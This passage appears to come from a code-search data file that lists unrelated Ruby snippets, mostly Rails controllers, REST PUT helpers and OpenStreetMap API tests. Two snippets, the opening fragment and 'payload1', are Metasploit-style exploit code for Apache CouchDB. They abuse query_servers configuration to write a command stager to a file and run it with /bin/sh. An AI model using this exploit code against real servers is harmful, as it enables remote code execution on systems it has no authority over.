},\"language\":\"#{rand_cmd1}\"})\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/_node/#{node}/_config/query_servers/#{rand_cmd2}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %(\"/bin/sh #{rand_file}\")\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/_design/#{rand_tmp}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'ctype' => 'application/json',\r\n 'data' => %({\"_id\":\"_design/#{rand_tmp}\",\"views\":{\"#{rand_db}\":{\"map\":\"\"} },\"language\":\"#{rand_cmd2}\"})\r\n )\r\n end", "def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def put(*args)\n request(:put, *args)\n end", "def update\n respond_to do |format|\n if @garbage_type.update(garbage_type_params)\n format.html { redirect_to @garbage_type, notice: 'Garbage type was successfully updated.' }\n format.json { render :show, status: :ok, location: @garbage_type }\n else\n format.html { render :edit }\n format.json { render json: @garbage_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def test_should_update_link_via_API_XML\r\n get \"/logout\"\r\n put \"/links/1.xml\", :link => {:user_id => 1,\r\n :title => 'API Link 1',\r\n :url => 'http://www.api.com'}\r\n assert_response 401\r\n end", "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend", "def flush\n file = Tempfile.new(\"onesecgroup-#{resource[:name]}-update.xml\")\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.TEMPLATE do\n xml.DESCRIPTION resource[:description]\n resource[:rules].each do |rule|\n xml.RULE do\n rule.each do |k, v|\n xml.send(k.upcase, v)\n end\n end\n end if resource[:rules]\n end\n end\n tempfile = builder.to_xml\n file.write(tempfile)\n file.close\n self.debug \"Updating secgroup using #{tempfile}\"\n onesecgroup('update', resource[:name], file.path) unless @property_hash.empty?\n file.delete\n end", "def update(id, name=\"Updated Name\", age=\"55\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <id type='integer'>#{id}</id>\r\n <name>#{name}</name>\r\n <age>#{age}</age> \r\n </person>\"\r\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n # no response body will be returned\r\n case response\r\n when Net::HTTPSuccess\r\n return \"#{response.code} OK\"\r\n else\r\n return \"#{response.code} ERROR\"\r\n end\r\n end", "def create\n @garbage = Garbage.new(params[:garbage])\n\n respond_to do |format|\n if @garbage.save\n format.html { redirect_to @garbage, notice: 'Garbage was successfully created.' }\n format.json { render json: @garbage, status: :created, location: @garbage }\n else\n format.html { render action: \"new\" }\n format.json { render json: @garbage.errors, status: :unprocessable_entity }\n end\n end\n end", "def put!\n request! :put\n end", "def put_datastream(pid, dsID, xml)\n uri = URI.parse(@fedora + '/objects/' + pid + '/datastreams/' + dsID ) \n RestClient.put(uri.to_s, xml, :content_type => \"application/xml\")\n rescue => e\n e.response \n end", "def update(id, name= \"Updated Name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <id type='integer'>#{id}</id>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end", "def modify_tag tag\n data = {\n \"tag\" => params\n }\n temp = data[\"servers\"]\n data[\"servers\"] = { \"server\" => temp }\n\n json = JSON.generate data\n\n response = put \"tag/#{tag}\", json\n return response unless response.code == 200\n\n body = JSON.parse response.body\n body[\"tag\"]\n end", "def update_aos_version(args = {}) \n id = args['id']\n temp_path = \"/aosversions.json/{aosVersionId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"aosversionId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def update_xml\n self.xml= dumpRouteAsXml\n self.save\n end", "def create_doc\n\t\theaders = {:content_type => 'application/xml'}\n\t\turi = CGI.escape(\"/\" + rand(2).to_s() + \"/\" + rand(10).to_s() + \"/\" + rand(1000000).to_s() + \".xml\")\n\t\tresponse = @resource[\"/documents/\" + uri].put('<stuff xmlns=\"stuff\">' + uri + '</stuff>', headers)\n\t\treturn uri\n\tend", "def set_garbage_type\n @garbage_type = GarbageType.find(params[:id])\n end", "def update\n replace_entry \"word/document.xml\", doc.serialize(:save_with => 0)\n end", "def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end", "def set_content(value)\n @document = Nokogiri::XML(value)\n @state = RedXmlResource::STATE_UNCOMMITED if @document #Resource can now be stored in database\n end", "def test_putpoi_delete_already_deleted\n nd = create(:node, :deleted)\n cs_id = nd.changeset.id\n user = nd.changeset.user\n\n amf_content \"putpoi\", \"/1\", [\"#{user.email}:test\", cs_id, nd.version, nd.id, nd.lon, nd.lat, nd.tags, false]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/1\")\n\n assert_equal 3, result.size\n assert_equal -4, result[0]\n assert_equal \"node\", result[1]\n assert_equal nd.id, result[2]\n end", "def test_put_invoices_1_xml\n @parameters = {:invoice => {:number => 'NewNumber'}}\n \n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/invoices/1.xml',\n {:invoice => {:number => 'NewNumber'}},\n {:success_code => :ok})\n \n assert_no_difference('Invoice.count') do\n put '/invoices/1.xml', @parameters, credentials('admin')\n end\n \n invoice = Invoice.find(1)\n assert_equal \"NewNumber\", invoice.number\n \n end", "def update_tenant_maintenance_window(args = {}) \n id = args['id']\n temp_path = \"/tenants.json/maintenance/{tenantId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def destroy\n gig = @gig_set.gig\n @gig_set.destroy\n gig.gig_sets.each_with_index do |set, ix|\n set.number = ix + 1\n set.save!\n end\n\n respond_to do |format|\n format.html { redirect_to edit_gig_path(gig) }\n format.json { head :no_content }\n end\n end", "def garbage!\n @garbage = true\n end", "def update\n DOCUMENT_PATHS.each do |attr_name, path|\n if path.match(/\\*/)\n instance_variable_get(\"@#{attr_name}\").each do |simple_file_name, contents|\n replace_entry(\"word/#{simple_file_name}.xml\", contents.serialize(save_with: 0))\n end\n else\n xml_document = instance_variable_get(\"@#{attr_name}\")\n replace_entry path, xml_document.serialize(save_with: 0) if xml_document\n end\n end\n end", "def run(request, data)\n node = Razor::Data::Node[:name => data['node']]\n operation = { 'update' => { data['key'] => data['value'] } }\n operation['no_replace'] = data['no_replace']\n\n begin\n node.modify_metadata(operation)\n rescue Razor::Data::NoReplaceMetadataError\n request.error 409, :error => _('no_replace supplied and key is present')\n end\n end", "def update!(**args)\n @constraint = args[:constraint] if args.key?(:constraint)\n @etag = args[:etag] if args.key?(:etag)\n end", "def cleanup_xml\n return nil unless xml\n xml.gsub!(/<EFFICIENCY>-<\\/EFFICIENCY>/, '<EFFICIENCY>0.0</EFFICIENCY>')\n end", "def payload1\r\n rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_db = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_doc = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_hex = Rex::Text.rand_text_hex(32)\r\n rand_file = \"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}\"\r\n\r\n register_file_for_cleanup(rand_file)\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/_config/query_servers/#{rand_cmd1}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %(\"echo '#{@cmdstager}' > #{rand_file}\")\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/#{rand_doc}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %({\"_id\": \"#{rand_hex}\"})\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/_temp_view?limit=20\"),\r\n 'method' => 'POST',\r\n 'authorization' => @auth,\r\n 'ctype' => 'application/json',\r\n 'data' => %({\"language\":\"#{rand_cmd1}\",\"map\":\"\"})\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/_config/query_servers/#{rand_cmd2}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %(\"/bin/sh #{rand_file}\")\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/_temp_view?limit=20\"),\r\n 'method' => 'POST',\r\n 'authorization' => @auth,\r\n 'ctype' => 'application/json',\r\n 'data' => %({\"language\":\"#{rand_cmd2}\",\"map\":\"\"})\r\n )\r\n end", "def destroy\n @monkey = Monkey.find(params[:id])\n @monkey.destroy\n\n respond_to do |format|\n format.html { redirect_to(monkeys_url) }\n format.xml { head :ok }\n end\n end", "def handle_put_request\n @request.records.each do |record|\n file = DataFile.storing(@request.uuid, record.time)\n file << record\n file.close\n end\n\n send_data [@request.record_count].pack('L')\n end", "def test_should_update_project_via_API_XML\r\n get \"/logout\"\r\n put \"/projects/1.xml\", :project => {:user_id => 1,\r\n :url => 'http://www.apiproject.com',\r\n :name => 'API Project',\r\n :description => 'API Project Desc' }\r\n assert_response 401\r\n end", "def test_putpoi_delete_not_found\n changeset = create(:changeset)\n cs_id = changeset.id\n user = changeset.user\n\n amf_content \"putpoi\", \"/1\", [\"#{user.email}:test\", cs_id, 1, 999999, 0, 0, {}, false]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/1\")\n\n assert_equal 3, result.size\n assert_equal -4, result[0]\n assert_equal \"node\", result[1]\n assert_equal 999999, result[2]\n end", "def reset!( opts = {} )\n http_action :delete, nil rescue nil\n http_action :put, nil, opts.merge( :doc => '' )\n create_shared_design\n end", "def prepare_pet\n # remove the pet\n SwaggerClient::PetApi.delete_pet(10002)\n # recreate the pet\n pet = SwaggerClient::Pet.new('id' => 10002, 'name' => \"RUBY UNIT TESTING\")\n SwaggerClient::PetApi.add_pet(:body => pet)\nend", "def destroy\n @garbage_type.destroy\n respond_to do |format|\n format.html { redirect_to garbage_types_url, notice: 'Garbage type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def test_putpoi_update_valid\n nd = create(:node)\n cs_id = nd.changeset.id\n user = nd.changeset.user\n amf_content \"putpoi\", \"/1\", [\"#{user.email}:test\", cs_id, nd.version, nd.id, nd.lon, nd.lat, nd.tags, nd.visible]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/1\")\n\n assert_equal 5, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal nd.id, result[2]\n assert_equal nd.id, result[3]\n assert_equal nd.version + 1, result[4]\n\n # Now try to update again, with a different lat/lon, using the updated version number\n lat = nd.lat + 0.1\n lon = nd.lon - 0.1\n amf_content \"putpoi\", \"/2\", [\"#{user.email}:test\", cs_id, nd.version + 1, nd.id, lon, lat, nd.tags, nd.visible]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/2\")\n\n assert_equal 5, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal nd.id, result[2]\n assert_equal nd.id, result[3]\n assert_equal nd.version + 2, result[4]\n end", "def save(content, path)\n if content !~ /<H2>Error 404<\\/H2>/\n File::open(path, 'w') {|f| f.write(fix_wsdl!(content))}\n end\nend", "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "def test_should_update_invite_via_API_XML\r\n get \"/logout\"\r\n put \"/invites/1.xml\", :invite => {:message => 'API Invite 1',\r\n :accepted => false,\r\n :email => 'test@email.com',\r\n :user_id => 1 }\r\n assert_response 401\r\n end", "def flag_xms_system_to_be_normal \n put(\"/globalsettings.json/xms/normal\")\nend", "def post(buffer)\n connection.post(\"#{configuration.path}/update\", buffer, {'Content-type' => 'text/xml;charset=utf-8'})\n end", "def db_cleaner\n JSON.parse(params[:mongified_data][:data]).each do |data|\n data[\"lob\"] = params[:mongified_data][:lob]\n @client.destroy(data)\n end\n end", "def update\n respond_to do |format|\n if @slow_thing.update(slow_thing_params)\n\n domain = URI(root_url)\n Net::HTTP.start(domain.host, domain.port) do |http|\n Rails.logger.debug \"purging #{domain}\"\n http.request( Purge.new(domain) )\n\n Rails.logger.debug \"purging #{slow_things_url}\"\n http.request( Purge.new(URI(slow_things_url)) )\n\n Rails.logger.debug \"purging #{slow_thing_url(@slow_thing)}\"\n http.request( Purge.new(URI(slow_thing_url(@slow_thing))) )\n end\n\n format.html { redirect_to @slow_thing, notice: 'Slow thing was successfully updated.' }\n format.json { render :show, status: :ok, location: @slow_thing }\n else\n format.html { render :edit }\n format.json { render json: @slow_thing.errors, status: :unprocessable_entity }\n end\n end\n end", "def persist_in_xml\n\nend", "def destroy\n @geocache.destroy\n \n #add score to user rank\n del_score_to_rank('upload')\n \n respond_to do |format|\n format.html { redirect_to(geocaches_url) }\n format.xml { head :ok }\n end\n end", "def put(*args)\n prepare_request(:put, args)\n @@client.add(:put, @path, *args)\n end", "def update\n respond_to do |format|\n format.html { head :forbidden }\n format.xml { head :forbidden }\n end\n end", "def purged_xml_for_clone\n local_structs_regex = []\n shape.local_structs.each do | struct |\n local_structs_regex << struct.name.underscore.downcase.dasherize\n end\n xml_doc.search('*[@resource-type=\"ActiveRecord\"]', *local_structs_regex.uniq).unlink\n xml_doc.search('file[@resource-type=\"Primitive\"]').each do |file|\n file['value'] = ''\n file['width'] = ''\n file['height'] = ''\n file['content_type'] = ''\n end\n xml_doc\n end", "def test_version\n ## First try this with a non-public user\n basic_authorization(users(:normal_user).email, \"test\")\n changeset_id = changesets(:normal_user_first_change).id\n \n # setup a simple XML node\n xml_doc = current_nodes(:visible_node).to_xml\n xml_node = xml_doc.find(\"//osm/node\").first\n nodeid = current_nodes(:visible_node).id\n\n # keep a hash of the versions => string, as we'll need something\n # to test against later\n versions = Hash.new\n\n # save a version for later checking\n versions[xml_node['version']] = xml_doc.to_s\n\n # randomly move the node about\n 20.times do \n # move the node somewhere else\n xml_node['lat'] = precision(rand * 180 - 90).to_s\n xml_node['lon'] = precision(rand * 360 - 180).to_s\n with_controller(NodeController.new) do\n content xml_doc\n put :update, :id => nodeid\n assert_response :forbidden, \"Should have rejected node update\"\n xml_node['version'] = @response.body.to_s\n end\n # save a version for later checking\n versions[xml_node['version']] = xml_doc.to_s\n end\n\n # add a bunch of random tags\n 30.times do \n xml_tag = XML::Node.new(\"tag\")\n xml_tag['k'] = random_string\n xml_tag['v'] = random_string\n xml_node << xml_tag\n with_controller(NodeController.new) do\n content xml_doc\n put :update, :id => nodeid\n assert_response :forbidden,\n \"should have rejected node #{nodeid} (#{@response.body}) with forbidden\"\n xml_node['version'] = @response.body.to_s\n end\n # save a version for later checking\n versions[xml_node['version']] = xml_doc.to_s\n end\n\n # probably should check that they didn't get written to the database\n\n \n ## Now do it with the public user\n basic_authorization(users(:public_user).email, \"test\")\n changeset_id = changesets(:public_user_first_change).id\n\n # setup a simple XML node\n xml_doc = current_nodes(:node_with_versions).to_xml\n xml_node = xml_doc.find(\"//osm/node\").first\n nodeid = current_nodes(:node_with_versions).id\n\n # keep a hash of the versions => string, as we'll need something\n # to test against later\n versions = Hash.new\n\n # save a version for later checking\n versions[xml_node['version']] = xml_doc.to_s\n\n # randomly move the node about\n 20.times do \n # move the node somewhere else\n xml_node['lat'] = precision(rand * 180 - 90).to_s\n xml_node['lon'] = precision(rand * 360 - 180).to_s\n with_controller(NodeController.new) do\n content xml_doc\n put :update, :id => nodeid\n assert_response :success\n xml_node['version'] = @response.body.to_s\n end\n # save a version for later checking\n versions[xml_node['version']] = xml_doc.to_s\n end\n\n # add a bunch of random tags\n 30.times do \n xml_tag = XML::Node.new(\"tag\")\n xml_tag['k'] = random_string\n xml_tag['v'] = random_string\n xml_node << xml_tag\n with_controller(NodeController.new) do\n content xml_doc\n put :update, :id => nodeid\n assert_response :success,\n \"couldn't update node #{nodeid} (#{@response.body})\"\n xml_node['version'] = @response.body.to_s\n end\n # save a version for later checking\n versions[xml_node['version']] = xml_doc.to_s\n end\n\n # check all the versions\n versions.keys.each do |key|\n get :version, :id => nodeid, :version => key.to_i\n\n assert_response :success,\n \"couldn't get version #{key.to_i} of node #{nodeid}\"\n\n check_node = Node.from_xml(versions[key])\n api_node = Node.from_xml(@response.body.to_s)\n\n assert_nodes_are_equal check_node, api_node\n end\n end", "def flush\n @client.flush(@name)\n end", "def destroy\n @cattle_id = CattleId.find(params[:id])\n @cattle_id.destroy\n\n respond_to do |format|\n format.html { redirect_to(cattle_ids_url) }\n format.xml { head :ok }\n end\n end", "def put(path, **args); end", "def flush\n if exists?\n update_foreman_users('put', get_attribute_from_user('id'))\n else\n update_foreman_users('post')\n end\n end", "def save\n @client.patch(@endpoint, :content=>@changed)\n return nil\n end", "def on_put(resource_uri, opts)\n #resource = _get_resource(resource_uri, true, opts)\n \n #puts \"ON_PUT_OPTS: #{opts.inspect}\"\n body, format = parse_body(opts)\n case format\n # when :empty\n # # do nothing\n when :xml\n modifier_el = body.root\n resource = put_resource_xml(modifier_el, resource_uri, opts)\n else\n raise UnsupportedBodyFormatException.new(format)\n end\n show_resource(resource, opts)\n end", "def destroy\n chef_server_rest.delete(\"nodes/#{name}\")\n end", "def http_put(path, data, content_type = 'application/json')\n http_methods(path, :put, data, content_type)\n end", "def update_current_tenant_maintenance_window(args = {}) \n id = args['id']\n temp_path = \"/tenants.json/maintenance\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def flush_attrs\n request = Request.new\n response = perform_request(:flushattrs, request)\n\n # parse response\n begin\n response.get_int\n rescue EOFError\n -1\n end\n end", "def destroy\n @shot = Shot.find(params[:id])\n @shot.destroy\n\n respond_to do |format|\n format.html { redirect_to(shots_url) }\n format.xml { head :ok }\n end\n end", "def update!(**args)\n @etag = args[:etag] if args.key?(:etag)\n end", "def http_put(request, response)\n body = request.body_as_stream\n path = request.path\n\n # Intercepting Content-Range\n if request.header('Content-Range')\n # An origin server that allows PUT on a given target resource MUST send\n # a 400 (Bad Request) response to a PUT request that contains a\n # Content-Range header field.\n #\n # Reference: http://tools.ietf.org/html/rfc7231#section-4.3.4\n fail Exception::BadRequest, 'Content-Range on PUT requests are forbidden.'\n end\n\n # Intercepting the Finder problem\n expected = request.header('X-Expected-Entity-Length').to_i\n if expected > 0\n # Many webservers will not cooperate well with Finder PUT requests,\n # because it uses 'Chunked' transfer encoding for the request body.\n #\n # The symptom of this problem is that Finder sends files to the\n # server, but they arrive as 0-length files in PHP.\n #\n # If we don't do anything, the user might think they are uploading\n # files successfully, but they end up empty on the server. Instead,\n # we throw back an error if we detect this.\n #\n # The reason Finder uses Chunked, is because it thinks the files\n # might change as it's being uploaded, and therefore the\n # Content-Length can vary.\n #\n # Instead it sends the X-Expected-Entity-Length header with the size\n # of the file at the very start of the request. If this header is set,\n # but we don't get a request body we will fail the request to\n # protect the end-user.\n\n # Only reading first byte\n first_byte = body.read(1)\n unless first_byte\n fail Exception::Forbidden, 'This server is not compatible with OS/X finder. Consider using a different WebDAV client or webserver.'\n end\n\n # The body needs to stay intact, so we copy everything to a\n # temporary stream.\n\n new_body = StringIO.new\n new_body.write(first_byte)\n IO.copy_stream(body, new_body)\n new_body.rewind\n\n body = new_body\n end\n\n if @server.tree.node_exists(path)\n node = @server.tree.node_for_path(path)\n\n # If the node is a collection, we'll deny it\n unless node.is_a?(IFile)\n fail Exception::Conflict, 'PUT is not allowed on non-files.'\n end\n\n etag = Box.new\n return false unless @server.update_file(path, body, etag)\n etag = etag.value\n\n response.update_header('Content-Length', '0')\n response.update_header('ETag', etag) if etag\n response.status = 204\n else\n # If we got here, the resource didn't exist yet.\n etag = Box.new\n unless @server.create_file(path, body, etag)\n # For one reason or another the file was not created.\n return false\n end\n etag = etag.value\n\n response.update_header('Content-Length', '0')\n response.update_header('ETag', etag) if etag\n response.status = 201\n end\n\n # Sending back false will interupt the event chain and tell the server\n # we've handled this method.\n false\n end", "def rm_create path, entity, data, msg\n\n rmp = nil\n re = rm_request path, entity => data\n chk (re.code!='201'), msg + \"\\n#{re.code} #{re.msg}\\n\\n\"\n rmp = JSON.parse(re.body)[entity] rescue nil\n chk !rmp, msg + \"\\n#{re.body.inspect}\\n\\n\"\n return rmp\n\nend", "def update\n enforce_permissions!('update', params[:id])\n\n param = params[:xml].presence || params[:metadata_file].presence\n\n if param\n xml_ds = XmlDatastream.new\n xml_ds.load_xml(param)\n else\n flash[:notice] = t('dri.flash.notice.specify_valid_file')\n redirect_to controller: 'catalog', action: 'show', id: params[:id]\n return\n end\n\n @object = retrieve_object!(params[:id])\n @errors = nil\n\n unless can? :update, @object\n raise Hydra::AccessDenied.new(t('dri.flash.alert.edit_permission'), :edit, '')\n end\n\n @object.update_metadata xml_ds.xml\n if @object.valid?\n checksum_metadata(@object)\n warn_if_has_duplicates(@object)\n\n begin\n raise DRI::Exceptions::InternalError unless @object.attached_files[:descMetadata].save\n rescue RuntimeError => e\n logger.error \"Could not save descMetadata for object #{@object.id}: #{e.message}\"\n raise DRI::Exceptions::InternalError\n end\n\n begin\n raise DRI::Exceptions::InternalError unless @object.save\n\n version_and_record_committer(@object, current_user)\n flash[:notice] = t('dri.flash.notice.metadata_updated')\n rescue RuntimeError => e\n logger.error \"Could not save object #{@object.id}: #{e.message}\"\n raise DRI::Exceptions::InternalError\n end\n else\n flash[:alert] = t('dri.flash.alert.invalid_object', error: @object.errors.full_messages.inspect)\n @errors = @object.errors.full_messages.inspect\n end\n\n @object.object_version ||= '1'\n @object.increment_version\n\n begin\n raise DRI::Exceptions::InternalError unless @object.save\n\n # Do the preservation actions\n preservation = Preservation::Preservator.new(@object)\n preservation.preserve(false, false, ['descMetadata','properties'])\n\n version_and_record_committer(@object, current_user)\n flash[:notice] = t('dri.flash.notice.metadata_updated')\n rescue RuntimeError => e\n logger.error \"Could not save object #{@object.id}: #{e.message}\"\n raise DRI::Exceptions::InternalError\n end\n\n respond_to do |format|\n format.html { redirect_to controller: 'my_collections', action: 'show', id: params[:id] }\n format.json { render json: @object }\n format.text do\n response = if @errors\n t('dri.flash.alert.invalid_object', error: @errors)\n else\n t('dri.flash.notice.metadata_updated')\n end\n\n render text: response\n end\n end\n end", "def test_putway_update_valid\n way = create(:way_with_nodes, :nodes_count => 3)\n cs_id = way.changeset.id\n user = way.changeset.user\n\n assert_not_equal({ \"test\" => \"ok\" }, way.tags)\n amf_content \"putway\", \"/1\", [\"#{user.email}:test\", cs_id, way.version, way.id, way.nds, { \"test\" => \"ok\" }, [], {}]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/1\")\n\n assert_equal 8, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal way.id, result[2]\n assert_equal way.id, result[3]\n assert_equal({}, result[4])\n assert_equal way.version + 1, result[5]\n assert_equal({}, result[6])\n assert_equal({}, result[7])\n\n new_way = Way.find(way.id)\n assert_equal way.version + 1, new_way.version\n assert_equal way.nds, new_way.nds\n assert_equal({ \"test\" => \"ok\" }, new_way.tags)\n\n # Test changing the nodes in the way\n a = create(:node).id\n b = create(:node).id\n c = create(:node).id\n d = create(:node).id\n\n assert_not_equal [a, b, c, d], way.nds\n amf_content \"putway\", \"/1\", [\"#{user.email}:test\", cs_id, way.version + 1, way.id, [a, b, c, d], way.tags, [], {}]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/1\")\n\n assert_equal 8, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal way.id, result[2]\n assert_equal way.id, result[3]\n assert_equal({}, result[4])\n assert_equal way.version + 2, result[5]\n assert_equal({}, result[6])\n assert_equal({}, result[7])\n\n new_way = Way.find(way.id)\n assert_equal way.version + 2, new_way.version\n assert_equal [a, b, c, d], new_way.nds\n assert_equal way.tags, new_way.tags\n\n amf_content \"putway\", \"/1\", [\"#{user.email}:test\", cs_id, way.version + 2, way.id, [a, -1, b, c], way.tags, [[4.56, 12.34, -1, 0, { \"test\" => \"new\" }], [12.34, 4.56, b, 1, { \"test\" => \"ok\" }]], { d => 1 }]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/1\")\n new_node_id = result[4][\"-1\"].to_i\n\n assert_equal 8, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal way.id, result[2]\n assert_equal way.id, result[3]\n assert_equal({ \"-1\" => new_node_id }, result[4])\n assert_equal way.version + 3, result[5]\n assert_equal({ new_node_id.to_s => 1, b.to_s => 2 }, result[6])\n assert_equal({ d.to_s => 1 }, result[7])\n\n new_way = Way.find(way.id)\n assert_equal way.version + 3, new_way.version\n assert_equal [a, new_node_id, b, c], new_way.nds\n assert_equal way.tags, new_way.tags\n\n new_node = Node.find(new_node_id)\n assert_equal 1, new_node.version\n assert_equal true, new_node.visible\n assert_equal 4.56, new_node.lon\n assert_equal 12.34, new_node.lat\n assert_equal({ \"test\" => \"new\" }, new_node.tags)\n\n changed_node = Node.find(b)\n assert_equal 2, changed_node.version\n assert_equal true, changed_node.visible\n assert_equal 12.34, changed_node.lon\n assert_equal 4.56, changed_node.lat\n assert_equal({ \"test\" => \"ok\" }, changed_node.tags)\n\n deleted_node = Node.find(d)\n assert_equal 2, deleted_node.version\n assert_equal false, deleted_node.visible\n end", "def rm_request path, data = nil,method = nil, verbose = false\n reply = nil\n hdrs = {'Content-Type'=>'application/json', 'X-Redmine-API-Key' => $settings['redmine_api_key']}\n reply = Net::HTTP.start($settings['redmine_host'], $settings['redmine_port']) do |http|\n if data\n if !method || method == 'POST'\n puts \"POST #{path}\" if verbose\n http.request_post(path,data.to_json, hdrs)\n elsif method == 'PUT'\n # code for PUT here\n puts \"PUT #{path}\" if verbose\n http.send_request 'PUT', path, JSON.unparse(data), hdrs\n end\n else\n puts \"GET #{path}\" if verbose\n http.request_get(path, hdrs)\n end\n end\n return reply\nend", "def test_update\n set = ResourceSet.new('SemanticExpression.new().spo(\\'<http://www.w3.org/2000/01/rdf-schema#Class>\\',\\'<http://www.w3.org/1999/02/22-rdf-syntax-ns#type>\\',\\'<http://www.w3.org/2000/01/rdf-schema#Class>\\')') \n size = set.resources.size\n #create a new resourceset. Note that the expression must return more resource than the first one.\n #we will check the number of resources to verify whether the set was updated.\n post :update, :exp => 'SemanticExpression.new.union(:s,Namespace.lookup(:rdf,:type),:o)', :id => set.rsid\n assert @controller.resourceset.resources.size > size #assert that set was remove\n assert_response :success #assert that the request was executed successful\nend", "def update!(**args)\n @xtags = args[:xtags] if args.key?(:xtags)\n end", "def update!(**args)\n @xtags = args[:xtags] if args.key?(:xtags)\n end", "def update(*args)\n put(*args)\n end", "def update(*args)\n put(*args)\n end", "def clear_default_profile \n put(\"/profiles.json/default/clear\")\nend", "def put(path, opts = {})\n request(:put, path, opts).body\n end", "def update_metadata\n @generic_file.destroy_existing_nested_nodes(params[:generic_file])\n super\n end", "def update(attrs, path=nil)\n resp = api_client.put(path || url, JSON.dump(attrs))\n refresh(JSON.load(resp.body))\n end", "def orchio_put(jdoc)\n response = client.send_request :put, inst_args(json: jdoc)\n if cache.enabled?\n simple_cache.save(\n Document.new(\n response.body.to_hash,\n Metadata.new(\n :collection => ocollection,\n :key => @id,\n :ref => response.header.etag\n )))\n end\n set_ref_value response\n orchio_status response, 201\n end", "def put endpoint, data\n do_request :put, endpoint, data\n end", "def put(path, data=nil)\n request(:put, path, data)\n end", "def destroy\n @reservation = Reservation.find(params[:id])\n xml=@reservation.to_xml\n json=@reservation.to_json\n @reservation.make_historical\n\n respond_to do |format|\n format.html { redirect_to(reservations_url) }\n format.json { render :json => json}\n format.xml { render :xml => xml}\n end\n end", "def write_gospel\n open_gospel \"r+\" do |f|\n Rails.logger.info \"Reloading XML for modification\"\n @@gospel = Nokogiri::XML(f)\n @@gospel_mod_time = f.mtime\n # Then yield for modification ... if true, then write it out\n if yield @@gospel\n Rails.logger.warn \"Writing new XML\"\n f.truncate(0)\n f.rewind\n @@gospel.write_xml_to(f, :encoding => 'UTF-8')\n @@gospel_mod_time = f.mtime\n end\n end\n end", "def putFactura(oc)\n\n facturax= JSON.parse(HTTP.headers(:\"Content-Type\" => \"application/json\").put(\"http://\"+ $url +\"/facturas/\", :json => {:oc => oc}).to_s, :symbolize_names => true)\n return facturax\n end", "def destroy\n @couch.destroy\n respond_to do |format|\n format.html { redirect_to couches_url, notice: 'Couch was successfully destroyed.' }\n format.json { 